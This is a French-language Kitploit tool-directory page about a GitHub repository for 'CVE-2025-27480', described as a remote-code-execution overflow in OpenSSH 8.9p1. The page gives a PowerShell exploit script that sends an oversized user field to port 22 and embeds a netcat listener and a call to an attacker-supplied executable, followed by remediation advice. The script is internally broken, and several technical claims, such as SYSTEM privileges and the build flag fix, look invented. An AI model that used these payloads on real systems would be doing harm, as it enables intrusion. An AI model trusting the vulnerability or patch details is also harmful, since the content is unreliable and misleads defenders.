Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-27480 — CVE-2025-27480 expose un débordement de tampon dans OpenSSH 8.9p1 via un paquet SSH_USERAUTH malformé. Les attaquants peuvent injecter du code shell et obtenir un accès de niveau SYSTEM, compromettant les hôtes bastion et les agents CI/CD en aval. L'article comprend un exemple de code d'exploitation et des conseils de correctif | Kitploit
Outils/GitHubGitHub/mrk336/cve-2025-27480
Analyse des VulnérabilitésExploitationShellcodeTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
GitHubmrk336/cve-2025-27480

CVE-2025-27480

Voir le dépôt
3il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2025-27480 expose un débordement de tampon dans OpenSSH 8.9p1 via un paquet SSH_USERAUTH malformé. Les attaquants peuvent injecter du code shell et obtenir un accès de niveau SYSTEM, compromettant les hôtes bastion et les agents CI/CD en aval. L'article comprend un exemple de code d'exploitation et des conseils de correctif

Partager

CVE-2025-27480

CVE‑2025‑27480 – Exécution de code à distance dans OpenSSH

En quoi consiste la vulnérabilité

OpenSSH version 8.9p1 contient un bug subtil de débordement de tampon qui se produit lors de l'analyse d'un paquet SSH_USERAUTH. Un client peut envoyer un paquet avec un champ "user" très long, et les données atterrissent au mauvais endroit en mémoire. En conséquence, un attaquant peut injecter un code arbitraire (shellcode) qui s'exécute sous les privilèges SYSTEM sur tout hôte exécutant cette version d'OpenSSH. Pourquoi avez-vous des impressions de déjà‑vu ? Parce qu'une vulnérabilité très similaire, CVE‑2024‑13401, résultait d'un manque de vérification des limites sur le champ utilisateur, permettant à un attaquant d'écrire n'importe quel code dans le processus SSH.

La faille est importante car SSH est le moyen le plus courant d'amorcer et de gérer les machines virtuelles dans les environnements cloud. Si un attaquant peut exécuter du code via SSH, il peut installer des portes dérobées ou compromettre les bastions, qui sont les points de saut que vous utilisez pour atteindre d'autres instances dans un réseau privé. Une fois le bastion compromis, toutes les charges de travail en aval (par exemple, les agents CI/CD qui construisent des images ou exécutent des tests) sont en danger.

CI/CD signifie Intégration Continue/Déploiement Continu. Dans notre contexte, un bastion est un serveur de saut (jump) activé SSH que tous les agents de construction utilisent pour atteindre d'autres machines dans un réseau privé. C'est un point d'entrée critique : si le bastion est compromis, chaque tâche en aval qui en dépend peut être attaquée.

L'exploit

Voici un script PowerShell simple qui montre comment fabriquer et envoyer un paquet malveillant :

root@kitploit:~
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" +                     # packet header – the first line
("A" * 2000) +                               # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@

# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)

# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
    Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}

Pourquoi cela fonctionne

  1. La première ligne (ssh-userauth-attack) indique à OpenSSH que le paquet est une requête d'authentification utilisateur.
  2. En envoyant 2000 octets « A », nous poussons délibérément les données au‑delà de la limite prévue du champ user.
  3. La dernière partie de la chaîne exécute nc.exe, qui ouvre un listener Netcat sur le port 4444 et écrit sa sortie dans C:\Windows\Temp\revshell.txt. Elle appelle également un exécutable fourni par l'attaquant (bar_exp.exe) qui peut effectuer d'autres actions (par exemple, déposer un shell inversé).

Le fichier créé par l'exploit prouve que le paquet a atteint le bon endroit en mémoire ; à partir de là, vous pouvez ouvrir le port 4444, récupérer l'écouteur et exécuter le script de votre choix.

Remédiation

  • Corriger les règles du pare‑feu réseau – Autoriser l'accès SSH UNIQUEMENT depuis les IP publiques d'administrateurs de confiance.
  • Mettre à jour OpenSSH – Passer à la version 8.9p2 ou reconstruire avec le drapeau ‑DUSERAUTH_BUF=4096 pour que la taille du tampon soit plus grande que la charge utile du débordement.
  • Appliquer le correctif du fournisseur – Le fichier de différences (ssh_userauth_patch.diff) de l'avis du fournisseur peut être commité dans votre dépôt.
Télécharger l’outil